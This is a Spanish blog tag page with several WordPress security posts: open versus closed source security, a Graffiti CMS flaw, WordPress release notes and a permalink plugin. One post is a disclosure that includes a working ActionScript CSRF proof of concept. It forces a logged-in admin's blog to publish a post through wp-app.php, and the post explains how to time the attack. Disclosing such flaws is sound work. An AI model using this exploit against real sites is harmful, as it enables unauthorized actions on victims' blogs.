Tag: Web

Categories
Seguridad

Seguridad: software libre vs software privativo

Si bien es cierto que llevo desfasado en temas de seguridad y que seguramente soy uno de los menos indicados para hablar de estos temas, me llama mucho la atención cuando alguien opina sin mucho conocimiento del tema en cuestión. Esta vez, en la lectura que suelo hacer diariamente, encontré un artículo que habla sobre la seguridad de software libre, aunque erróneamente el título parezca indicar que sólo se refiere a WordPress.

El problema es que el modelo de código abierto permite que hackers y casi cualquier otra persona se pueda dar el lujo de excavar hasta llegar al núcleo del código de todos los foros y blogs que funcionan a través de dicha plataforma, permitiéndoles descifrar múltiples maneras de irrumpir en la sagrada información de sus usuarios.

¿Qué hacer al respecto?

Hay tres cosas que puedes hacer si no puedes soportar las debilidades del sistema open source:

  1. Utilizarlo, pero pagarle a alguien más para que te lo mantenga.
  2. Utilizar un servicio de código cerrado y ser estricto para mantenerlo así.
  3. Constrúyalo usted mismo. Haga uso de su conocimiento para evitar que otras personas puedan tener algún tipo de influencia sobre la vulnerabilidad de su información.

Yo diría que muchos se ahogan en un vaso de agua, porque olvidamos que el código abierto es por naturaleza vulnerable a hacks, ataques de "gusanos informáticos" y cualquier otra variedad de amenaza que la web nos ofrece hoy en día. Mientras el código esté expuesto, el proyecto que se proponen muchos de romperlo y penetrarlo suena tanto divertido como perverso, pero es algo que todos nosotros ya debimos de haber entendido hace un buen rato, para evitar todo el barullo que se suele hacer en torno al tema de seguridad.

El autor del artículo usa la típica falacia de que si el código está disponible para todos, entonces es más inseguro. En el poco tiempo que me involucré en el tema de seguridad, me quedó bastante claro que si alguien está determinado a vulnerar tu aplicación o sistema, lo va hacer independientemente de si el código está disponible o no.

En mi opinión, creo que la mejor forma de hacer que las aplicaciones de software libre sean más estables, es que justamente seamos nosotros, los usuarios, los que participemos en este proceso identificando bugs, ayudando a otros a mantenerse actualizados o, si no se cuentan con el tiempo o conocimientos necesarios, colaborando económicamente.

Categories
ASP.NET Web WordPress

ASP.NET, seguridad y algunos mitos

El cuento empieza luego de que un amigo me preguntó si sabía algo de Graffiti -- un CMS de pago desarrollado en .NET, puesto que su empresa tenía planes en adquirir unas cuantas licencias del mismo.

El hecho es que mientras charlabamos intenté convencerle para que usen WordPress en su lugar, pero las principales razones que me dió para haber descartado esa opción era que a) WordPress tenía un largo historial de problemas de seguridad en comparación al otro y b) que por el mismo hecho de estar desarrollado en .NET la aplicación era más segura.

Cuando participaba en ciertos foros de discusión relacionados a .NET, solía ser fácil encontrar ese tipo de opiniones en relación a la seguridad[1] de ASP.NET, es por este motivo que me animé a comentar esta anécdota, puesto que posiblemente sea de útil para alguien que recién comienza -- naturalmente tendría que pasar por alto mi terrible forma de redactar y ortografía. 😀

Regresando al tema lo que le dije fue que los problemas de seguridad existen, más allá de lo buenos que sean los programadores o de que los lenguajes que utilicen sean dinámicamente o estáticamente tipados y que el número de problemas reportados generalmente está en relación a la popularidad del software.

Finalmente, para reforzar lo que había dicho, daba la casualidad que hace algo menos de un año, había encontrado un problema grave de seguridad que todavía afecta a la última versión de Graffiti y que permite tomar el control del sitio en cuestión de segundos. Ahora me pregunto, ¿habré ganado algún usuario más de WordPress? 😀

1. No digo que este tipo de opiniones solamente vengan de parte de algunos desarrolladores .NET, sólo comento mi experiencia.

Categories
WordPress

Protocolos de publicación remota en WordPress

A estas alturas imagino que la mayoría ya sabe que en cada instalación nueva de WordPress 2.6, tanto la publicación por XMLRPC como APP estarán desactivados por omisión. A pesar de que algunos inicialmente pegaron un grito al cielo por este cambio, personalmente creo que es un cambio acertado, puesto que seguramente reducirá el número de vectores de ataque en aquellos blogs que no necesiten de éstos protocolos.

Sin ir muy lejos, actualmente la forma como está implementado APP en WordPress (y probablemente en otros CMSs), lo hace a este último, vulnerable a ataques CSRF usando Flash, que como se sabe, se puede usar para sobrepasar distintas restricciones de seguridad [1]. La siguiente porción de código muestra que tan sencillo es aprovechar este problema de seguridad en el protocolo mencionado:

actionscript:

// En este caso simplemente crea una nueva entrada.
function WpApp() {
        this.readQueryString();
       
        var blog:String = _params.blog;
        if ( !blog ) return;
        var r:URLRequest = new URLRequest(blog + '/wp-app.php?action=/posts');

        r.method = 'POST';
        r.data =        '<?xml version="1.0" encoding="UTF-8"?>'+
                                '<rss version="2.0"' +
                                        'xmlns:content="http://purl.org/rss/1.0/modules/content/"' +
                                        'xmlns:wfw="http://wellformedweb.org/CommentAPI/"' +
                                        'xmlns:dc="http://purl.org/dc/elements/1.1/"' +
                                        'xmlns:atom="http://www.w3.org/2005/Atom">'
                                '<channel>'+
                                        '<atom:entry>'+
                                                '<title>Boo</title>'+
                                                '<category domain="category" nicename="uncategorized" term="uncategorized"><![CDATA[Uncategorized]]></category>'+
                                                '<content><![CDATA[boo!]]></content>'+
                                        '</atom:entry>'+
                                        '</channel>'+
                                '</rss>';
        r.contentType = 'application/atom+xml';

        navigateToURL(r, '_self');
}

Lo único que el atacante necesitaría, sería identificar si la víctima inició sesión o no, y lo primero que se me viene a la mente en estos momentos es enviar un pingback y luego verificar que hizo click desde algún lado del panel de administración -- ¡a que no soy el único que mira los enlaces entrantes! 😀

Los problemas que comento han sido reportados hace mes y medio aproximadamente, pero hasta el momento sólo hicieron una corrección puntual para la prueba de concepto que envié, por lo que no sería mala idea eliminar este archivo (wp-app.php o app.php) o denegar el acceso al mismo.

[1] Por ejemplo las páginas que permiten subir archivos y que generalmente no tienen protección contra ataques CSRF. Actualmente casi todas las versiones de WordPress sufren este problema y se puede explotar usando lo descrito en Cross-site File Upload Attacks.

Categories
Web WordPress

Nueva versión de WordPress y algunas aclaraciones

A estas alturas imagino que las pocas personas que leen este blog y que usan WordPress para sus propios blogs, seguramente ya saben que salió una nueva versión de este CMS, hablamos de WordPress 2.3.2. Entre los problemas corregidos en esta versión están:

  • Mejora de rendimiento que evita que la función sanitize_post sea invocada siempre que se llame a get_post (#5325).
  • Cambios en la función is_admin() para que realmente indique si el código se ejecuta en el panel de administración (/wp-admin/). (#5487).
  • No mostrar los mensajes de error al hacer consultas SQL a menos que WP_DEBUG esté habilitado (#5473).
  • Verificar que los datos de conexión a la base de datos sean adecuadas y mostrar mensajes de error si la instalación falla debido a permisos insuficientes (#5495).
  • Soporte para páginas de error personalizadas cuando la conexión a la base de datos falla. (#5500).
  • Cambios para hacer que la generación de enlaces en los contenidos de la entrada y comentarios sea más selectiva. ([6450]).
  • Cambios en wp-mail.php para evitar posibles ataques XSS (#5484).
  • Cambios para que no se muestren las entradas recientes a usuarios que no tienen permisos (#5535).
  • Cambios para eliminar información sensitiva expuesta a través del método XMLRPC wp.getAuthors (#5534).
  • Verificación de permisos en varios métodos XMLRPC ([6504]).
  • Verificación de permisos en varios métodos del protocolo de publicación Atom ([6508]).
  • Cambios en la función validate_file() para evitar problemas de inclusión local de ficheros en windows ([6521]).

Fuente

Aclaración

Erróneamente se me atribuye el descubrimiento de un bug relacionado a la función is_admin que permitía ver los borradores y entradas privadas. Mi participación en esta última versión tiene que ver más que todo con problemas relacionados a XMLRPC, wp-mail.php y otros que por el momento no puedo comentar, puesto que no tienen que ver mucho con la versión clásica de WordPress y además las correcciones a estos problemas probablemente recién se incluyan en la nueva versión. Aquí un extracto, ligeramente modificado para no dar ningún detalle, del intercambio de correos que tuve con uno de los desarrolladores:

By the way, we added some measures to address the problem you found. It's on wordpress.com right now. It's a fairly big change, and since its mainly an MU problem, we won't address it in WP until either 2.3.3 or 2.4.
Sound good?

Finalmente, es posible que esta sea la última entrada que escriba este año antes de viajar a mi pueblo natal, pero no quiero irme sin antes agradecer a todos y cada uno de ustedes por cada visita, enlace o comentario que hayan hecho.

Les deseo un feliz y próspero 2008.

Categories
Web WordPress

Nueva versión del plugin “Permalink Fix”

Hace algún tiempo publiqué una versión alpha de un plugin que elimina todos los caracteres especiales de los permalinks (Ejm: ¿, !, etc). Si bien es cierto que este plugin hacía relativamente bien su trabajo, existía un bug en el para las entradas anteriores que contenían ese tipo de caracteres, devolvía una página de error (no encontrado).

Aprovechando el tiempo libre de estas fiestas de fin de año he corregido este bug, de modo que ahora el plugin sólo se ejecuta antes de guardar las entradas:

php:

<?php
/*
Plugin Name: Permalink Fix
Plugin URI: http://www.buayacorp.com/
Description: Elimina algunos caracteres especiales de las URLs de las entradas (Ejm: ¿, !, etc).
Author: Alexander Concha
Version: 0.1.2
Author URI: http://www.buayacorp.com/
*/

if (!defined('ABSPATH')) die;

// Based on sanitize_title_with_dashes method (wp-includes/formatting.php)
function custom_sanitize_title_with_dashes($title) {
        $title = strip_tags($title);
        // Preserve escaped octets.
        $title = preg_replace('|%([a-fA-F0-9][a-fA-F0-9])|', '---1---', $title);
        // Remove percent signs that are not part of an octet.
        $title = str_replace('%', '', $title);
        // Restore octets.
        $title = preg_replace('|---([a-fA-F0-9][a-fA-F0-9])---|', '%1', $title);

        $title = remove_accents($title);

        if (function_exists('mb_strtolower') && seems_utf8($title)) {
                $title = mb_strtolower($title, 'UTF-8');
        } else {
                $title = strtolower($title);
        }

        $title = preg_replace('/&.+?;/', '', $title); // kill entities
        $title = preg_replace('/[^%a-z0-9 _-]/', '', $title);

        $title = preg_replace('/[\s-]+/', '-', $title);
        $title = trim($title, '-');

        return $title;
}

function __enable_fix($post_name) {
        remove_filter('sanitize_title', 'sanitize_title_with_dashes');
        add_filter('sanitize_title', 'custom_sanitize_title_with_dashes');

        return $post_name;
}

add_filter('pre_post_name', '__enable_fix');
?>

Si por azares del destino alguien está usando este plugin 😀 , es recomendable que actualicen para evitar este molesto error. Pueden descargar la actualización desde este blog o desde mi repositorio temporal de código.